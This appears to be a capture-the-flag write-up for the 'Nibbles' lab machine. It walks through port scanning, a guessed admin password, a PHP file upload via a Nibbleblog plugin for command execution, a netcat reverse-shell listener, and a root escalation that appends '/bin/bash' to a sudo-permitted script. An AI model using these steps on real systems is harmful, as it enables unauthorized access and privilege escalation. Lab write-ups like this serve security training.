sudonmap-T4-sC-sV-O-Pn-p-10.10.10.75StartingNmap7.92 ( https://nmap.org ) at 2023-02-10 17:33 ESTNmapscanreportfor10.10.10.75Hostisup (0.055s latency).Notshown:65533closedtcpports (reset)PORTSTATESERVICEVERSION22/tcpopensshOpenSSH7.2p2Ubuntu4ubuntu2.2 (Ubuntu Linux; protocol2.0)|ssh-hostkey:|2048c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)|25622:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)|_256e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)80/tcpopenhttpApachehttpd2.4.18 ((Ubuntu))|_http-title:Sitedoesn't have a title (text/html).|_http-server-header: Apache/2.4.18 (Ubuntu)No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).TCP/IP fingerprint:OS:SCAN(V=7.92%E=4%D=2/10%OT=22%CT=1%CU=30372%PV=Y%DS=2%DC=I%G=Y%TM=63E6C67OS:5%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=107%TI=Z%CI=I%II=I%TS=8)OPSOS:(O1=M539ST11NW7%O2=M539ST11NW7%O3=M539NNT11NW7%O4=M539ST11NW7%O5=M539ST1OS:1NW7%O6=M539ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECNOS:(R=Y%DF=Y%T=40%W=7210%O=M539NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AOS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(ROS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%FOS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CDOS:=S)Network Distance: 2 hopsService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 47.58 seconds
Port 80
If we browse there we have an hello world.
If we check the source code, we have an interesting comment
<config><nametype="string">Nibbles</name><slogantype="string">Yum yum</slogan><footertype="string">Powered by Nibbleblog</footer><advanced_post_optionstype="integer">0</advanced_post_options><urltype="string">http://10.10.10.134/nibbleblog/</url><pathtype="string">/nibbleblog/</path><items_rsstype="integer">4</items_rss><items_pagetype="integer">6</items_page><languagetype="string">en_US</language><timezonetype="string">UTC</timezone><timestamp_formattype="string">%d %B, %Y</timestamp_format><localetype="string">en_US</locale><img_resizetype="integer">1</img_resize><img_resize_widthtype="integer">1000</img_resize_width><img_resize_heighttype="integer">600</img_resize_height><img_resize_qualitytype="integer">100</img_resize_quality><img_resize_optiontype="string">auto</img_resize_option><img_thumbnailtype="integer">1</img_thumbnail><img_thumbnail_widthtype="integer">190</img_thumbnail_width><img_thumbnail_heighttype="integer">190</img_thumbnail_height><img_thumbnail_qualitytype="integer">100</img_thumbnail_quality><img_thumbnail_optiontype="string">landscape</img_thumbnail_option><themetype="string">simpler</theme><notification_commentstype="integer">1</notification_comments><notification_session_failtype="integer">0</notification_session_fail><notification_session_starttype="integer">0</notification_session_start><notification_email_totype="string">admin@nibbles.com</notification_email_to><notification_email_fromtype="string">noreply@10.10.10.134</notification_email_from><seo_site_titletype="string">Nibbles - Yum yum</seo_site_title><seo_site_descriptiontype="string"/><seo_keywordstype="string"/><seo_robotstype="string"/><seo_google_codetype="string"/><seo_bing_codetype="string"/><seo_authortype="string"/><friendly_urlstype="integer">0</friendly_urls><default_homepagetype="integer">0</default_homepage></config>
This confirm that a user named admin exist.
We can not bruteforce because of the IP blacklist that is set as a protection.
The word nibbles frequently comes back. Let's try it as a password for admin. It works.
While looking for info on nibbleblog we found a CVE: CVE-2015-6967
It is also worth having a look around
This way we find a plugin "My image" that allows us to upload files
Let's try to upload a php file and see if it gets executed. Here is our php file
The file seems to be uploaded when we explored the files previously there was a content directory, so our file is probably there somewhere let's have a look. Yes there is a new image.php file here
And our command (ls) works, we have command execution!
We could do a webshell. But let's try for a reverse shell.
We now need to set a listener rlwrap nc -lnvp 4444
We get a shell
Along with the flag we have zip personal.zip that seems interesting for later.
Privilege escalation
Let's have a look at the zip file. There is stuff folder with a bash script inside
Using sudo -l we see that we are able to run it as root
Let's add this in our script this will launch bash as root and should allow us to get root /bin/bashecho '/bin/bash' | tee -a /home/nibbler/personal/stuff/monitor.sh.
Indeed if we sudo /home/nibbler/personal/stuff/monitor.sh we get root and can grab the last flag
We can make it a little better with python3 -c 'import pty; pty.spawn("/bin/bash")' and grab the user flag.
